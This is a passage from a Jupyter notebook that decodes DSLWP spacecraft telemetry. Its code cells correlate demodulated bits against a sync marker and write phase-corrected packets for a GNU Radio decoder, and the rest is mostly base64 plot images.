D2ATtryn7Ry\nxmRZte3NADAhFn9jUQmKkf6DY7R7Kxx9vI9HMd8PARQBOAPH0fd2OPpiFwDYpv13flEC4DWtjBsB\n5Oq2cxuAAu1Pv6PkAsjXXjMZbgNXQZZ1CBzNvw0A1ml/l8VweXsAWKuVNx/AH7X0dnDMVCiAI6DW\n1dJTtMcF2vPtdNt6XCvTFuhmNURiv4FrwI/JsmrlWq/9/ejcXgzvC70A5Gn7wmw4gmCsljUVwEEA\n6bq0mCkrz7QlIrKJeOjDJyKiADDgExHZBAM+EZFNMOATEdkEAz4RkU0w4BMR2QQDPhGRTTDgExHZ\nxP8Dp70FUb/AfbUAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "asm = np.unpackbits(np.array([0x03,0x47,0x76,0xC7,0x27,0x28,0x95,0xB0, 0xFC, 0xB8, 0x89, 0x38, 0xD8, 0xD7, 0x6A, 0x4F], dtype='uint8'))\n", "asm_straight_corr = scipy.signal.correlate(2*decbits-1, 2*asm.astype('float')-1)\n", "asm_inv_corr = scipy.signal.correlate(2*decbits_inv-1, 2*asm.astype('float')-1)\n", "plt.figure()\n", "plt.plot(asm_straight_corr)\n", "plt.figure()\n", "plt.plot(asm_inv_corr);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We take note of all correlation positions, the branch where they happen and their sign to correct the phase and output packets that can be fed into the GNU Radio decoder. Note that we're always dealing with hard bits for simplicity." ] }, { "cell_type": "code", "execution_count": 26, "metadata": { "collapsed": true }, "outputs": [], "source": [ "corr_positions = np.sort(np.concatenate((np.where(np.abs(asm_straight_corr) > 100)[0], np.where(np.abs(asm_inv_corr) > 100)[0])))\n", "with open('/tmp/dslwp_bits', 'w') as file:\n", " for st in corr_positions:\n", " if np.abs(asm_straight_corr[st]) > 100:\n", " b = np.sign(asm_straight_corr[st])*(2*decbits[st+1:st+1+7152]-1)\n", " else:\n", " b = np.sign(asm_inv_corr[st])*(2*decbits_inv[st+1:st+1+7152]-1)\n", " b.astype('float32').tofile(file)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we plot the phase of the signal in the problematic zone. The change in slope shows the frequency jump." ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/usr/lib64/python3.6/site-packages/scipy/linalg/basic.py:1018: RuntimeWarning: internal gelsd driver lwork query error, required iwork dimension not returned. This is likely the result of LAPACK bug 0038, fixed in LAPACK 3.2.2 (released July 21, 2010). Falling back to 'gelss' driver.\n", " warnings.warn(mesg, RuntimeWarning)\n" ] }, { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x7fa0ecc5fd68>]" ] }, "execution_count": 24, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYYAAAD8CAYAAABzTgP2AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4yLCBo\ndHRwOi8vbWF0cGxvdGxpYi5vcmcvhp/UCwAAIABJREFUeJzt3Xd8VFXex/HPSUgIvZcsIKEjIK6C\ngAIiKt3VddXHtq51kbU9ttUA1lWR1V113cdHRXctrD6WVddCAGkqKkVAaVINkd6lSAsh5/ljbiZz\nZyaNTOZO+b5fr7y499wzc3+5TO5v7j33nGOstYiIiBRJ8ToAERGJLUoMIiLiosQgIiIuSgwiIuKi\nxCAiIi5KDCIi4qLEICIiLkoMIiLiosQgIiIu1bwOoDwaN25ss7KyvA5DRCSuLFy4cKe1tklFXxcX\niSErK4sFCxZ4HYaISFwxxvx4PK/TrSQREXFRYhARERclBhERcVFiEBERFyUGERFxUWIQEREXJQYR\nEXGJi34MVWFu7i427zlE60a16NG6gdfhiIjEjKRMDPsOH+WyCXNdZXnjR3gUjYhIbEnKW0l/nboq\npGzKsi0eRCIiEnsSPjHMWrWdrOxJ5O74ma17DwPw2pzQXuKj/rUo2qGJiMSkhL+VdO0r3wBw9l8/\nB+AfV/cssa61FmNMVOISEYlVCX/FEOz610oejG/nz/lRjEREJDYldGLYsf9IidvqZFRjyu39ad+0\ntr9s3+Gj0QhLRCSmJXRiSK9W8q/3+nW96Ny8LtPvHOC/vTT6vaU8/PFyCgtttEIUEYk5Cd3GUK9G\nGnnjR7B2+8+c+9Tnrm2/bFXfv3wg/xgA8/N2Mz9vN698lQfoEVYRSU4JfcVQpH3T2uSNH8GLV/Xw\nlwU2MtdIS/UiLBGRmJTQVwzBhnRtHvYqYFCXZmHr6yklEUlGSXHFcLxuCHqCqbDQYq3aH0QksSkx\nOJ674lQA7h7c0V82Y+V2Vm/bD0B+QSFtx+TQZnSOJ/GJiESLEoNjRPdMFj84mFvO7sDKR4b6ywc/\n/QUAz81a6y/bc1D9HUQkcSkxBKhXIw2AjKDG6HE5K/h4yWb/+tzc3VGNS0QkmpQYymHCF7nk7jjg\nXx/1r4UeRiMiUrWUGErw0S19S92uRmgRSVRKDCXo3rI+owa0K3H7vsMFUYxGRCR6lBhKce/QTiFl\nrRrWAOD2t76NdjgiIlGhxFAKYwyrHx3mKnviopMBmLVqh24niUhCUmIoQ3q1FGbdfRatG9Xko1v6\nUiejuLP4Z6t2eBiZiEjVUGIohzaNa/H5HwfSvWV9Mutl+MvHfLDUw6hERKqGEkMFNapdnRHdMwHY\n4kwVKiKSSCKWGIwxqcaYb40xnzjrbYwx84wxa4wxbxtj0p3y6s76Wmd7VqRiiJai4TNERBJRJK8Y\n/htYEbD+Z+Bpa20H4Cfgeqf8euAna2174GmnnoiIxIiIJAZjTEtgBPCys26As4F/O1VeA37tLF/g\nrONsP8fE4djWgW0NIiKJJFJXDM8A9wCFznojYI+1tqgX2EaghbPcAtgA4Gzf69SPK0XtC4ePHvM4\nEhGRyKp0YjDGnAdst9YGDiAU7grAlmNb4PuONMYsMMYs2LEjdh8LnbFiu9chiIhEVCSuGPoC5xtj\n8oC38N1Cegaob4wpeui/JVA0POlGoBWAs70eEDJcqbV2grW2p7W2Z5MmTSIQZtV44fMfvA5BRCSi\nKp0YrLWjrbUtrbVZwGXATGvtlcAs4GKn2tXAh87yR846zvaZNg67ED98flcAlm7a63EkIiKRVZX9\nGO4F7jTGrMXXhvAPp/wfQCOn/E4guwpjqDJFYyaJiCSaamVXKT9r7WfAZ85yLtArTJ3DwCWR3K8X\nBnZq6l9euXUfnZvX9TAaEZHIUc/n4xT4hG3Oki0eRiIiEllKDJUw5fb+AOQfi7smEhGREikxVEKn\nZnUAeGl2rseRiIhEjhJDJRTdTurQtLbHkYiIRI4SQyU1qJnGnoNHvQ5DRCRiIvpUUjL66eBRQIlB\nRBKHrhgqqX7NNK9DEJEE9dmq7Z5MIawrhkoquo00a+V2BnZuWkZtEZGytR09iUInH1zR+wTGXXhS\nVPevK4YI2fjTQf/ysULLxLk/Mjd3l4cRiUg8mpe7y58UAN6ctz7qMSgxVNJ7fzgDgPs/XA7AJS98\nTbsxOdz/n2VcNmEuP+46QFb2JJ6attrLMEUkTlw6Ya7XISgxVNaBIwX+5UlLtvBN3k+u7QOe/AyA\nZ2esYf66kEFkRSTBHSu05W4n+OeX66o4mvJRG0MlndGueI6hm99cVGrd/3pxDgBLHhpM3Qw1Wosk\ng3ZjcgDIGz+ixDp5Ow/w3YY9/OmT70O23TfixCqLrSRKDJVULTWFmumpHMwv/0xu3R/6tNQPiYgk\nhvW7itset+8/TFpKCg1qpYfUO+svn4WUrXt8OF7NeqxbSRHw+R8HVqh+2ya1qigSEfHa9v2H+XHX\nAQA++HaTv7zXYzM45ZFpHCt031ba6kwTHGjlI0M9SwqgxBARTepUd63njR9BtZTi/9TZ97gTR+6O\nA1GJS0Sir9djM/xti//5blPI9nZjcpjwxQ8s27SXA0cK/EmkyL9HnU5GWmo0Qi2RbiVVkX/d0JvL\nnKcLWjbQpD4iyeDi57/2L1/1j3ms2xn+S+C4nJVhy/95TU96ZjWsktgqQlcMEdKivvvkX3S7KCMt\nBWMMeeNHqF1BJMFs2nOIFVv2+dcX/Fj8VOLsNTsr9F7T7xzA2Z2bRSy2ylBiiJBPbu0HwHNXnApA\nk9rVGT2sM5/ePiBs/Rc//yFqsYlI1eg7fibD/jY7Iu/VLobaHpUYIqRBrXTyxo9gRPdMwDck940D\n2nFCo5ph6z8+OfylpIjEny17D1FYWHJfhaIvjI1rVy+xjpeNzcGUGKIssCE6K3sSQ57+wsNoRCQS\nDh8t5LTHppe4fUT3TFY+MpQbz2wbxaiOnxJDlLVq6L6CWLVtv0eRiEhpCgsth4+W3D8psGF5589H\n2HUg37/+6rWnhdTPSEvlmr5Z/vVF9w/yL1/Xt00lo40sJQYPnBM0CuvOn494FImIlKTtmBw63z+F\nm99YRFb2JA4FdGJ94fMfGBjQKe2SF+b4l5c8NJg6ASMb9Gvf2L+clprCH85qx3t/OJ2GtdK5vNcJ\nAFx1eusq/E0qTonBA3cN7uRan/79No8iEZGyTFq6BYATH5gC+IavGF9KG2HdjDROblnPv/7Yhd1c\n2+8d2pkerX2PpI67sBvLHh5Cm8ax0/AMSgyeaBHUr2H6CiUGkVhS2i2kcMNXFMkdNxzwDZVT5ISG\n4R9AAV+Dc+3qsdedTInBA/VqpLn6PUxfsd01SquIeOvDMD2WwffASGlSUkKfLIqlp43KK/ZSVZL4\nKvts8gsK6XjfZMDXzlArBr85iCSj+jV9A93179CYLr+oy+Y9h/l48WZXHWNg/phzKbSW3uNmcM0Z\nWa7tax4bFjIuUrzQmchD6dWKL9hufnMRn9za38NoRKTI/sO+K/hHf92N1o1qhb1SWPd48UgG4UY1\nSEtNweMhj46bbiV5bNSAdgAs27SvjJoiEi27D/ieFGzoDJE9Z/TZru2pYW4ZJRJdMXjs3qGdeEHD\nY4jElKJB7ooahjPr1SBv/Ais9c3nPqxbppfhVblKXzEYY1oZY2YZY1YYY5YbY/7bKW9ojJlmjFnj\n/NvAKTfGmGeNMWuNMUuMMadWNoZ4Ftgw9d7CjR5GIiLgfiIpuOHYGMPvTs8KGWo/0UTiVlIBcJe1\n9kSgD3CzMaYLkA3MsNZ2AGY46wDDgA7Oz0jg+QjEkBDuendxueeGFZGq0fn+KV6H4LlKJwZr7RZr\n7SJneT+wAmgBXAC85lR7Dfi1s3wB8Lr1mQvUN8Yk9nVZGYZ1a+5fbjM6h89WbfcwGpHkVXCs0OsQ\nYkJEG5+NMVnAKcA8oJm1dgv4kgdQNA5EC2BDwMs2OmVJ69nLT3GtX/PKNx5FIpLcBv71M//yvDHn\neBeIxyKWGIwxtYH3gNuttaU9YhOuOT/k/okxZqQxZoExZsGOHTsiFWZMSktN8Y+ZIiLRd/RYIVnZ\nk9iw+5C/rFndDA8j8lZEEoMxJg1fUnjDWvu+U7yt6BaR82/R/ZGNQKuAl7cE3D1HAGvtBGttT2tt\nzyZNmkQizJh22zntXeub9hwqoaZIcpr+/TZ+9fcvOZgf+VECOoydHPH3jGeReCrJAP8AVlhrnwrY\n9BFwtbN8NfBhQPnvnKeT+gB7i245JbPmQd9O+o6f6VEkIlXvWKHlpS9yXSOWPjN9NfsPHy3xNTe8\nvoClm/bS5YGppY5lFAkrHxlape8f6yJxxdAXuAo42xjznfMzHBgPDDLGrAEGOesAOUAusBZ4Cbgp\nAjHEPWMMn919Fme0a+R1KCJV7j/fbuKxnBWM/WAp4BuD6JnpazjpoU/D1g9OGJF8cijcsBUZ8dpl\nOUIq3cHNWvsl4dsNAEJab6zvecybK7vfRJTVuBZXn5HF1z/s8joUkSpTcKyQu95dDMD7327i0tNa\nubbPWLGNrr+oR/N6xVfRN05cWGXx3DhxQZW9d7xSz+cY06lZHa9DEKlS97631LV+6YS5rvXrXys+\nUT9z6S+5/e3v/OunnlCfRev3cEXvyD2sMX2Fr/mzRloqL1zVg95tGkbsveOVxkqKMYFzNczRlYMk\noPcWlb+Hf2BSABj3m5MAeHPe+ojEsn3/Yf/yR7f0ZUDHJkl/GwmUGGJOWmoKrRr6ksPlL81lxLOz\nPY5IJLJ+3//45zeO5KQ21lp6PTbDv95BV+t+SgwxKPBZ6uWbNeqqJJYFP/4UtnzCVT3KfG29GsVz\nKd/y5iI63jcZay1vzV/PzxWc7GrKsq0Vqp9M1MYgIlH17fo9AHx4c18mzv2Re4Z24pPFWxjUpRkP\nnNeF6Su2hTyAkT2sM2mpKdTJKE4MnyzxPeX+Td5PZL+/lOz3l/LDuOHlGhL7khe+5pu84gTVvmnt\nSPxqCUNXDDGojmZykyRwcqv6/OWSk2laJ4Pr+rXBGMN1/drw+nW9uP+8Lv563/9pCKMGtOP6fr5b\nUE9c3N31Pv/14hz/crsxOeXad2BSAJh+54Dj/TUSkhJDDPo6aFKQIwVV25lHJJZUS03h+n5tWPzg\nYBbedy41091flC48pfSh1bKyJ5GVPYlej00Pu/1o0EB5qx5N7s5s4SgxxKA6GWmunped7vN15hk1\ncWGZk5GLxKK35q/3n7ABMtLKPvXUq5FGo9qh8x6kpZbvtLV9/5Gw5bPXFI+9duOZbaleTU8hBVNi\niFEZaalkNarpX39y6kqmLPc1llX1cAAikZb9vrvvQv0a6VHZ7+Gjx1xznBwpOMZ1rxb3k4hkf4hE\nosQQw2bedZZ/+blZxdN/3hH0bLdILAs3+VSftpXrRPbKNacx6bZ+NKvru6Lo2boBM+8KbSfofP8U\nnpq2GoD8gkL/1TfAlNv707pRrUrFkajUyhnDUlIM88acQ+9xM1zlk5dtZdOeQ7SoX6OEV4rEhgNH\nCnhy6qqQ8jsGdazU+w7s7JveZd6Yc13lv+1zAtVSUnj16zx/2d9nruWOczty0xvuYTU6N69bqRgS\nmRJDjCtpTPi+42eSN35ElKMRqZiuD051rf9xSCfaN61dZd/UH/21r2f0mR0bu24Zbd9/xD/0hZRN\niUFEouLLewfSskHNsitGwMBOTV3rN/6r6gbhS0RqY4gDz195KmOHn8jqR4d5HYrIcYtWUgDfMPaz\n7xnoX1+8YY9/eWCnJq5tEkqJIQ4MOymT35/ZlvRqKbz0u55ehyNSLovWF3ciW/rQ4Kjvv1XDmgzt\n2jyk/JVre9GqYfSSVDxSYogzg7o08zoEkXL5zf9+7V8OHMoimkYOaOtaf/7KUz2JI94oMYhIwjpy\ntLiXc9M61Rl2UqaH0cQPJYY4dt7fZzP9+21ehyES4tFPvvcve/n0XPeW9QDIrJfBvDEhE0pKCfRU\nUhxbtmkfN7y+gOl3DtDokBJTXv5yndchAFCrejU91n0cdMUQhwYHtTOc+9TnFBwrDNvDVCTaCgv1\nOYx3SgxxaEKYJ5Paj53s7/ov4qVe44pHNV3xJ41cGo+UGBLI32eu9ToESXLjclaw8+d8AK7r24Ya\n6Rq5NB4pMcSpuaPP4a5BHUPGS9LIq+KlCV/k+pfvHlK58ZDEO0oMcap5vQxuPacDn9zaz1X+v7N0\n1SDeOBbUtlAjTVcL8UqJIc41qJXOnIAZ356duZYbXvvGw4gkWU0LenTamLLnXpbYpMSQADLr1XBN\nT6hRJMULowIGqvv4ln6l1JRYp8SQIDQ9ocSSk5yOZRKflBgS1E8H8r0OQZLIht0HvQ5BIkiJIUGd\n8sg0r0OQJHHXO4vp/8Qs//riB6I/kqpElmeJwRgz1Bizyhiz1hiT7VUcieTJi7u71vXoqlSldxds\nICt7Eu8t2ugqr1fTm5FUJXI8SQzGmFTgOWAY0AW43BjTxYtYEsnFPVrywm97+Ndfnp3L63PyPItH\nEtsf/70kpEzjEiUGr64YegFrrbW51tp84C3gAo9iSRjGGIZ2a84/r/ENmfGXT1fzwIfLNXaNRMW1\nfbO8DkEixKvE0ALYELC+0SmTCDiUX+han7dut0eRSKL6fvO+kLIHf9XVg0ikKniVGML1fHF9rTXG\njDTGLDDGLNixY0eUwkoMZ7Rr5Fq//KW5HD1WWEJtkYrbtv8wAO2a1AJg7PATvQxHIsyrxLARaBWw\n3hLYHFjBWjvBWtvTWtuzSZMmUQ0u3jWolU7dDPdUGx3GTua7gAnRRQAez1lBVvakkF7LZbn2FV/v\n+vvP60Le+BH8/sy2ZbxC4olXieEboIMxpo0xJh24DPjIo1gS0q9PCb0z9+vnvvIgEolVr8/J40Vn\n0Lvfv76g1Lp/m76GrOxJzFzpTiC92jSsqvDEQ54kBmttAXALMBVYAbxjrV3uRSyJquh+b00Neywl\neODDkv/kdh/IZ8PugxQWWrbvO8zT031zfVz36gIe/rj4dTXTNQlkIvLsf9VamwPkeLX/RJeaYsgb\nP4Kpy7dy48TiMWwKjhVSLVX9GpPdnW9/F1L25Zqd9OvQGIB+f57JwfxjDOnajKnL3VcJr3yVF40Q\nxUM6QyS4IV2bM39s8SToK7fu9zAaiRXvf7sppGz55r3+5YP5vs6RwUkh0Ac3nRH5wCQmKDEkgaZ1\nMvzL5/39S/YeOuphNBJrHvyVr2/p45NXkpU9ifyC8j3BdsoJDaoyLPGQEkOSyLmtv3/55Ic/Vae3\nJLVh90Fe/Wqdf71P24Zc2bu1q86H34VeTQD8e9Tp/mVNtZDYlBiSRJdf1HWttx2TwyrdVkoqM1du\no/8Ts3jo4+/9ZcO6ZZJezX0aKBrqok/b4ieObjunA/VrpvvX62ZoPKREpsSQRF699jTX+n8Cvhla\na8nKnsSEL36IdlgSJde96n4kNcXAZb183YnCjXH00Pld+feo05k35hzuHNSR9k1rk3Nbf1o1rMHE\n63tFJWbxhhJDEjmrU1PX+vqAMfQPOI2N43JWRjUmiY5wPd8/uKmva4KnwFkAAWqlV6NnVkOa1S1u\no+ryi7rMvudsuresX3XBiueUGJJM74AOSZOWbPEvd3twqn95xopt/HykIKpxSdUa8vQXIWUNa6W7\n1oNnAWzVsGaVxiSxS4khybx2nfsWwJUvz2XbvsOusutfW+BKFBL/8gOuGIqGS2lUO72k6pLklBiS\nTEZaqut+8ldrd9F73IywdRdrbKWEsfGnQ/7ld0adzl2DOobttdwrS0NciBJD0spqVPZtggue+4oj\nBZoFLp4dPVbIR4uLx6f87O6z6Ny8Lree0yFs/bdG9gHghd+eGpX4JDYpMSSpZy47JaTs6UtPDinr\ndN8UlmzUlUO8uuKludz2f9/617Ma1yq1foozlMrQbplVHZrEMCWGJPXLVqFPlQzrlsnMuwbw2IXd\nXOXn/49GZY1X3+T95F8e1KWZh5FIPFFiSGLBz65npKXStkltruzdmjd/39u1LbC3rMSHrOxJrvWK\nzrkgyUuJQcI6o11j13pgb9lwrLUczNcjrrHs2ctDbx+KhKPEkOSu6H1CidvuG1H+6RrbjM6hywNT\n2bH/SCTCkghb/vAQzj/5F16HIXFCiSHJPXKBrz3hlWtOC9l2Q/+2riG7g2VlT/L/FJk4J4+THpzK\noXw9zeSlZZuKh9B+6Xc9qVVdE+pI+SkxJLmiCX0Gdm4adnvgkN1zftjlX355dm7Y+s/OXMv+IwVM\n+CL8dql61lrO+/uX/nU1OktFKTFIuV3+0lwOH/VdCUxetrXUuq3L0U9CqsbJD3/qX37xqh4eRiLx\nSolBKqTz/VMAWPjjT6XWW7S+9O1SdfYdLn4IYEjX5h5GIvFKiUHKlDtueIVf8/qcH9m851DZFSWi\n9h7U7HxSeUoMUqaUFEODmr6JWc7s2IRjhZYhXZvRsVltvso+m3WPDyd33HCeuKi763VnjJ8JwJpt\n+/l0eem3niQyFgf0Ug83x4JIeSgxSLl8+8BgAL5YvYOLnv+afYcKqJuRRov6NTDGkJJi+K/TWoW8\n7uLnv2bQ018wcuJCCsLMCSCRVTQr39jh5X/UWCSYEoNU2Hcb9jAndxcpKaET/+aNH+H6progoC1i\n3rrdUYkvWeUXFPJYzgoATmujUVLl+CkxyHGbX8qJ/pQTQsdiUt+GyFm9bT9Z2ZM484lZ/tt0rwQM\nW9ItaI5vkYpQYpByO7Njk3LX/eCmviFlJvQCQ47T0Gd8M7Kt332QkRMXkl9QyOOTi6dlrZaqP205\nfvr0SLn94+qeFaq/+tFhrvX1uw+qETpCUoKybMf7JvuXF953brTDkQSjxCDllhb0LbRVwxql1k+v\n5q7/8MffM3LiQt6ctz7isSWbgkJb4rZGtatHMRJJREoMclxuGdie2fecXWa91Y8O4/7zurjK1m7/\nuarCSgpTS7nqWvd4xfuciARTYpAKWXDfufTv0Jjr+7UpV/30aikhdVds2VcVoSWNGycuLHGbUUOO\nRIASg1RI49rVmXh9bxrUSq/Q624LmGN4Tu6uUmpKeVV3btVd6QydflKLel6GIwmkUmPxGmOeBH4F\n5AM/ANdaa/c420YD1wPHgNustVOd8qHA34BU4GVr7fjKxCDx4Q8D2tGqQQ3++O8lAExZtpVR/1pI\nnYxqLH1oiMfRxY/dB/L9y7PuPotf1Pe18zx24UlehSQJqLJXDNOAbtba7sBqYDSAMaYLcBnQFRgK\n/K8xJtUYkwo8BwwDugCXO3UlwdVIT+WSnsU9o0f9y3c7ZP9hzfpWEWPeX+pfLkoKIpFWqcRgrf3U\nWlv0lz0XaOksXwC8Za09Yq1dB6wFejk/a621udbafOAtp64kiTdu6B1StvBH9Yguj8JCy5KAsZBE\nqkokp3W6DnjbWW6BL1EU2eiUAWwIKg89UwDGmJHASIATTih5+kmJL33aNgopu+j5ORrwLYwDRwrY\nvv8Iuw8c4YcdB9i+7zCb9x4GYPqdZ3ocnSSyMhODMWY6EG5Q97HW2g+dOmOBAuCNopeFqW8Jf4US\n9oFsa+0EYAJAz549S35oW+JKapjxlQCOHisM6SeRzD74diN3vL24xO11M9KiGI0kmzITg7W21G6U\nxpirgfOAc6y1RSfwjUDgUJstgc3OcknlkmTevKE3V7w8D/BNG1qRITcS3aQlW0rd3rCCT4WJVESl\nvqI5TxjdC5xvrT0YsOkj4DJjTHVjTBugAzAf+AboYIxpY4xJx9dA/VFlYpD41adtI/88Dx9+p+8H\ngTbsLnmSo9xxwzUWklSpyn66/geoA0wzxnxnjHkBwFq7HHgH+B6YAtxsrT3mNFTfAkwFVgDvOHUl\nifRu05A6GdVISTG8NfJ0AD5eosQQ6LQ2DUrcFm64c5FIqlTjs7W2fSnbHgMeC1OeA+RUZr8S396+\n8XT/ctsmtQDfXALJzFpLm9G+P4vVjw7jX3N940nVyajGTWe1589TVpb2cpGIiuRTSSIVpgZnn1e+\nyvMvB46UWtT574b+bZiybCv92jeOdmiShPRXKTEjcKKZZPOnT74vdXtaagq/OvkXFR6KROR4KDFI\nzHj449JPjonqaAlzYf8wTiOlijeUGMRz88ec41/++UjyDZGxYXfxA30v/LaHf7mkPh8iVU2JQTzX\ntG6Gf7nbg1M9jMQbG38qfjR1aLfmfDP2XFY9OtTDiCTZqfFZxGNFiaFoaPImdTQDm3hLVwwiHiua\nV+H8kzM9jkTER4lBYsLbI/v4l4tHVkkOm/b4rhhaNqjpcSQiPkoMEhN6B4y62mZ0Dqu27vcwmuh6\natpqADLSUj2ORMRHiUFi0pBnvvA6BJGkpcQgMePiHi3LrpRg3l2woexKIlGmxCAx488XdXetH8o/\n5lEk0VM0B7ZILFFikJgR3KFr056DJdRMDD8dyPcv16uhiXckdigxSEz55NZ+GCc/nPtUYrcznPLI\nNP/y4gcHexiJiJsSg8SUbi3q8cmt/fzruTt+9jCaqnMwv3joj24t6noYiUgoJQaJOSc2Lz5Rnv3X\nzz2MpOpMXrrVv/zqtb08jEQklBKDxJzgGcreX7SR7zbs8SiaqnHXu4v9y41rawgMiS1KDBKTVvyp\neBC5O99ZzK+f+8rDaCIr8GmrMcM7exiJSHgaRE9iUo30+O8FPDd3F+t2HqBZ3eqc3bkZxwotqSmG\nEx+Y4q8z8sx2HkYoEp4Sg8SsMcM7My6neK7jfYePUjcjPh7rnJe7i8smzPWvf3b3WZz1l8+8C0ik\nAnQrSWJW8LfpFZv3eRRJxV0akBSAsElhzWPDohSNSMUoMUjcOHg0sXpCp6Xqz09ikz6ZEtPWPDaM\nCVf5pruc+8Muj6MJb+nGva6hwgc9VfYjtosfUIc2iV1qY5CYlpaaQt/2jQH4NsYeWb32lfnMWrUD\ngP4dGtOpWR3yjxWyZntxp7xh3ZozeVlxn4VHLujKvsMF1KsZH20lkpyUGCTm1aru+5jOX7ebw0eP\nxcS8BY988r0/KQDMXrOT2Wt2htR7/rc9yMqe5F+/snfrkH4aIrFGt5IkrnS+f0rZlaLgH1+uK3fd\ndY8PB+Cczk2VFCQu6IpBpIrOApFiAAAL+UlEQVSM/81JABhjyBs/wuNoRMpPVwwSF6bfOcDrEPwC\nG5qfu+LUkO3LHx7CnNFnc+lpraIZlkjEKDFIXGjftDY9WjcA3CdmL0z7fpt/eUT3TG47uz0AmfUy\nyBs/glrVq5FZrwbG6LaRxKeIJAZjzN3GGGuMaeysG2PMs8aYtcaYJcaYUwPqXm2MWeP8XB2J/Uty\nWPjjTwBkv7fUsxiOFBxj5MSFrrI7B3fiw5v7Mi2GrmpEKqPSicEY0woYBKwPKB4GdHB+RgLPO3Ub\nAg8CvYFewIPGmAaVjUGSwx3ndgRgrYdzNHS6r7jx+8t7B/qXT25Vn9rV1WQniSESVwxPA/cAgdf3\nFwCvW5+5QH1jTCYwBJhmrd1trf0JmAYMDXlHkTB+d3prwHfl8PHizR5HAy0b1PQ6BJEqUanEYIw5\nH9hkrV0ctKkFsCFgfaNTVlJ5uPceaYxZYIxZsGPHjnBVJMnUDZgX+db/+zZq+9358xFe+WodhwOG\n5ChqVxBJRGVe+xpjpgPNw2waC4wBwvXtD9fqZkspDy20dgIwAaBnz57etjZKTEgN6gMwdflWhnQN\n99GMrD++u5hZq3awdd9hf9mdgztV+X5FvFLmFYO19lxrbbfgHyAXaAMsNsbkAS2BRcaY5viuBAKf\n1WsJbC6lXKRcnr+y+PHQGycuJCt7EvkFhVW6z817fAnhxc9zq3Q/IrHiuG8lWWuXWmubWmuzrLVZ\n+E76p1prtwIfAb9znk7qA+y11m4BpgKDjTENnEbnwU6ZSLkMOymTESdlusounTCnyvZnrWXVtv2u\nsk9u7Vdl+xOJBVXVjyEH3xXFWuAl4CYAa+1u4BHgG+fnT06ZSLndMaija/3b9VU3uN7uA/khZV0y\n61bZ/kRiQcSer3OuGoqWLXBzCfX+CfwzUvuV5NO+ae2o7avHo9NDyjTekSQ69XyWhLB17+GyK1XQ\n4QSbGEikvJQYJCH0eXxGSNnuA/m8PPv4G4wDR3KddfdZx/0+IvFGXTUlLr1+XS/m5O7inM5NufgF\nX+Pzzp+P0Lh2dX+dUx+ZBkCDmulc1KNlme+58+cjNKqVjjGGwkL3E9L1a6Tx6R1n0qhWegR/C5HY\npCsGiUtndmzCvUM70zOrob+s56PTuf8/ywBcj7De9W5w/0uf3QfyycqeRFb2JD74diM9H53OLW/6\nOs7tP1Lgr/f4b06iQa10OjarQ6OAxCOSqJQYJKFMnPsjhYWWjvdNLrNu0RUFwDd5vgH65q3bzfeb\n93Hyw5/6t13e64TIByoSw5QYJO797bJfutYf/Gh5SJ3gobq37XM3Vr85zzcG5LBuzbno+a/95S3q\n14hUmCJxQ4lB4t4Fv2zBqAHt/OsT5/4YUqfN6ByOBbQb9B4X2lgNUFBoORTwNNITF3ePYKQi8UGJ\nQRJC9rDOvHFD75Dy3/Ypvg309jcbQrYH+7/5613rfds3rnxwInFGiUESxmkBDdFFTmpRz7885oOl\nFBZasrIn+cv6tA19TZFeYd5PJBkoMUjCSK+WwuIH3IP9tm9ax7XedkyOa/3GM9sRzqpHh/LOqNMj\nG6BInFBikIRSr2bxnA1X9WlNj9YNyLmtf9i6Kx8ZSv8O4W8VVa+WWiXxicQDJQZJOE9e3J0TGtbk\n4fO7AnBiZp2QOjPvGkBGWirVUlO4d2hnANo1qRXVOEVilXo+S8K5pGcrLulZPO2HMaGD3rVtUjwQ\n3x/OascfzmrHnoP5fPjdZgZ3bRaVOEVila4YJCnkjR/B2OEnllqnfs10rj4ji8x66rsgyU2JQZLG\n9f3a0KtNQ2bfM9DrUERimm4lSdJISTG8c6OeNBIpi64YRETERYlBRERclBhERMRFiUFERFyUGERE\nxEWJQUREXJQYRETERYlBRERcTPCUh7HIGLMDCJ2Wq/waAzsjFE4kKa6KUVwVo7gqJhHjam2tbVLR\nF8VFYqgsY8wCa21Pr+MIprgqRnFVjOKqGMVVTLeSRETERYlBRERckiUxTPA6gBIoropRXBWjuCpG\ncTmSoo1BRETKL1muGEREpLystQn7AwwFVgFrgewIvm8rYBawAlgO/LdT/hCwCfjO+Rke8JrRThyr\ngCFlxQi0AeYBa4C3gXSnvLqzvtbZnhUUWx6w1Nn/AqesITDNea9pQAOn3ADPOu+1BDg14H2uduqv\nAa4OKO/hvP9a57WmtH042zoFHJPvgH3A7R4dr3eA7cCygNd6dnwC9rEPKADWBrzXk8BKZ98fAPWd\n8izgUMBxeyEC+y/pd9zrxLUxoNyL/7esoH0UHa+8gPK3A2LKA77z4HitAw4Cm3GfG2LhMxayjxLP\ncdE6SUf7B0gFfgDaAunAYqBLhN47s+jgAnWA1UAX5w/m7jD1uzj7r+78IfzgxFdijPhOYJc5yy8A\nf3CWbyr6YAOXAW8H7SsPaBxU9gTOHyOQDfzZWR4OTHY+OH2AeQEfsFzn3wbOctGHbD5wuvOaycCw\n0vZRwv/LVqC1R8drJnAq7sTg2fEJ2MeZ+E4EBwPiGgxUc5b/HPCarMD4g47d8e6/pN9xBDAAyA/4\nHb34f3s7aB/nAOcBR4DUMLH8FXjAg+N1onO8cvF9gSw6N8TCZ8y1j1LPcZE4Ucbij3PgpgasjwZG\nV9G+PgQGlfIH49o3MNWJL2yMzn/gTopPCv56Ra91lqs59UzAe+QRmhhWAZnOciawyll+Ebg8uB5w\nOfBiQPmLTlkmsDKg3F+vpH2EORaDga+cZa+OVxbuxODZ8QnchxPXkaJ6QcfkQuCNgHohJ7rK7r+k\n39HZ3+6AOL36fzOB+3Di2l9UL+D9DbAB6ODF8Qr6TBSdG2LiMxZcr6SfRG5ja